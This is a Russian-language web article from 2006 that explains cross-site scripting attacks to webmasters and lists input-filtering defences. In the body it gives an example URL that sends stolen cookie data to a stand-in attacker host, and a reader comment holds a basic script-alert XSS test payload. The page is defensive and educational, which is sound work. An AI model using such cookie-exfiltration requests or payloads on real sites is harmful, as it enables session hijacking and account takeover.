ityouth.ru Среда, 2012-02-08, 5:34 AM
Привет Посетитель | RSS | Feedburner
Главная | Каталог статей | Регистрация | Вход
» Меню сайта

» Категории раздела
SYS | Программирование [2]
Web | Программирование [4]
XP | Vista | Server [8]
Linux | Unix | FreeBSD [2]
Веб мастер | БД [19]
Internet | LAN | Протоколы [14]
Хакинг | Защита [19]
Службы | Сервисы [4]
SEO | Продвижение [14]
Hardware | News [5]
Невероятно | Факты [3]
Другое | ETC [2]

» Теги
APU Acer Lenovo MSI ViewSonic безопасность планшет продвижение сайта windows xp nokia microsoft laptop HTC Canon Toshiba хакинг Android 2.3 Драйверы Galaxy DVD ультрабук Radeon HD 7900 антивирус ноутбук Android USB 3.0 вебмастеру nod32 браузер OLED SEO apple CES 2012 Android 4.0 NVIDIA HP windows asus Office Мультимедиа Thermaltake google оптимизация windows GIGABYTE Dell LTE SSD Sony his конвертер смартфон Panasonic защита eset LG Samsung корпус взлом Intel AMD

» Архив новостей
2005 год 2006 год 2007 год 2008 год 2009 год

» Категории файлов
Antivirus and Spyware [22]
Антивирусы и Антитрояны
Firewalls and Security [6]
Фаерволы и Защита
Cleaning and Tweaking [13]
Реестр и Чистка
Compression and Restore [7]
Архивация и Восстановление
File Transfer and P2P [4]
Передача фалов и Пиринг
CD and DVD Tools [8]
Работа с CD и DVD
Messaging and Chat [12]
Мессенжеры и Чаты
Browsers and Plugins [12]
Браузеры и Плагины
Desktop and Interface [3]
Рабочий стол и Интерфейс
Programming and Tools [4]
Программирование и Плагины
Hack and Frick [14]
Хакинг и Фрикинг
Audio and Video [25]
Аудио и Видео
Drivers [4]
Драйверы
Webmaster and Designer [27]
Вебмастер и Дизайнер
Bisness and Books [14]
Бизнес и Книги
Office and PDF [5]
Офис и PDF
Operation System [9]
Операционные Системы
Utilities and Other [19]
Утилиты и Прочее

» Категории статей
SYS | Программирование [2]
Web | Программирование [4]
XP | Vista | Server [8]
Linux | Unix | FreeBSD [2]
Веб мастер | БД [19]
Internet | LAN | Протоколы [14]
Хакинг | Защита [19]
Службы | Сервисы [4]
SEO | Продвижение [14]
Hardware | News [5]
Невероятно | Факты [3]
Другое | ETC [2]

» Фото

» --

Главная » Статьи » Хакинг | Защита

WEB Атаки класса Cross-Site-Scripting
WEB Атаки класса Cross-Site-Scripting

Во многих багтраках часто проскакивают уязвимости класса CSS. Многие люди,
интересующиеся вопросами защиты информации, просто игнорируют данный класс атак.
В данной статье я хочу привлечь их внимание к последствиям, к которым
может привести использование WEB-приложений с ошибками программирования,
а также указать меры противодействия данному классу атак.

Cross-Site-Scripting - сценарий на стороне клиента, позволяющий выполнить
клиентский код в пределах ВЕБ-среды пользователя.

Клиентские языки включают в себя:
- VBScript
- DHTML / HTML / XHTML
- JavaScript
- Java-апплеты
- Flash
- ActiveX
- XML/XSL
- CSS

Целью атаки может служить:
- HTTP-клиент
- WEB-броузер
- Пользователь WEB-службы

Cross-Site-Scripting относится к классу HTTP-атак.
Задача атакующего заключается в том, чтобы модифицировать
введенные данные, которые будут переданы WEB-приложению таким образом,
чтобы заставить его выполнить код на языке HTTP клиента в пределах пользовательской
Web среды, достигающей того же самого уровня доступа и привилегий как основной домен.

Клиентские языки обладают большим количеством способностей для изменения
содержания, структуры и стиля веб-страницы.
Взаимосвязи клиентских языков создают увеличенных уровень доступа в пределах
и вне доступного прикладного интерфейса (Document Object Model (DOM)), что
позволяет читать и изменять данные, а также удаленно выполнять команды на сервере.

Нападение:

Примеров здесь можно привести море. Достаточно зайти на сайты типа BugTraq и
ввести в поиске что-то типа "CSS" или "Cross-Site-Scripting".

Я же хочу привести в пример cookies, потому как статей про это я читал мало.
Множество WEB-приложений используют cookies, чтобы хранить HTTP состояние
в течение сеанса пользователя. Это встречается часто в форумах, когда для каждого
пользователя создается cookies файл, использующийся для его авторизации.

Ткой сеанс может быть похищен и проанализирован атакующим, далее модифицирован
и применен для вторжения в систему.

Cookies маркированы доменом, от которого они были установлены. Программы Web
просмотра или HTTP клиенты ограничивают просмотр сookies.

Неконтролируемые входящие данные открывают доступ к данным cookie
на домене, таким образом, перехватывая cookie.

То есть атакующий создает программный код, позволяющий забрать cookies
c сервера, после чего, модифицировав их, снова передать в качестве
входного параметра запросом вида:

http://www.hacker.com/cgi-bin/cookie_script.cgi?COOKIE=cookie_data

Привлекательность данного метода заключается в том, что атаку данного класса можно
реализовать разными способами, не оставляя никаких логов в системе.

Борьба с атаками класса Cross-Site-Scripting:

I // Если WEB-приложение допускает ввод HTML-тегов //

Это самый опасный в плане безопасности вариант.
В этом случае необходимо:

- Разрешить только безопасные HTML тэги и атрибуты
- Фильтровать любой ввод JavaScript/Java/VBScript/ActiveX/Flash
- Фильтровать двойные и одинарные кавычки
- Удалять все нулевые символы

II // Если WEB-приложение не допускает ввод HTML-тегов //

Здесь ситуация менее опасная, однако необходимо:

- Фильтровать все HTML-символы: ">" = > > " <
- Фильтровать двойные и одинарные кавычки
- Удалять все нулевые символы

Статья написана в помощь WEB-мастерам и системным администраторам. Целью статьи
является привлечь их внимание к вопросу обеспечения защиты от атак класса
Cross-Site-Scripting.



Похожие материалы:



Материал входит в категории: Хакинг | Защита

Категория: Хакинг | Защита | Добавил: StranG3r (2006-09-22)
Просмотров: 1900 | Теги: безопасность, атака, cross site scripting, взлом | Рейтинг: 0.0/0
Всего комментариев: 1
0  
1 Тест   (2007-11-24 6:35 PM)
<script>alert('XSS');</script>
Ответ: И как? :)

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
» Форма входа
Логин:
Пароль:

» Поиск


» Игры

» Окажи помощь

» Реклама

» Почта
Логин:
@ityouth.ru
Пароль:
Не удается войти в аккаунт?

» Подписаться на новости
Подписаться через RSS2Email

ИТ новости и ПО




» Всего материалов
Comments: 2501
Forum: 441/5118
Photo: 118
Blog: 18
News: 1520
Downloads: 193
Publisher: 78
Directory: 13534
Ad-board: 14
Games: 218
FAQ: 15
Guestbook: 140
Tests: 34

» Статьи

» Файлы

» Кнопка сайта

ИТ молодежь


» Статистика

Онлайн всего: 4
Гостей: 4
Пользователей: 0

» Корзина
Ваша корзина пуста



имхо | ссылки | киса

Copyright © 2008 [ ityouth.ru ]

Техническая поддержка: icq [263-504]
Пишите нам: [ Обратная связь ]
Используются технологии uCoz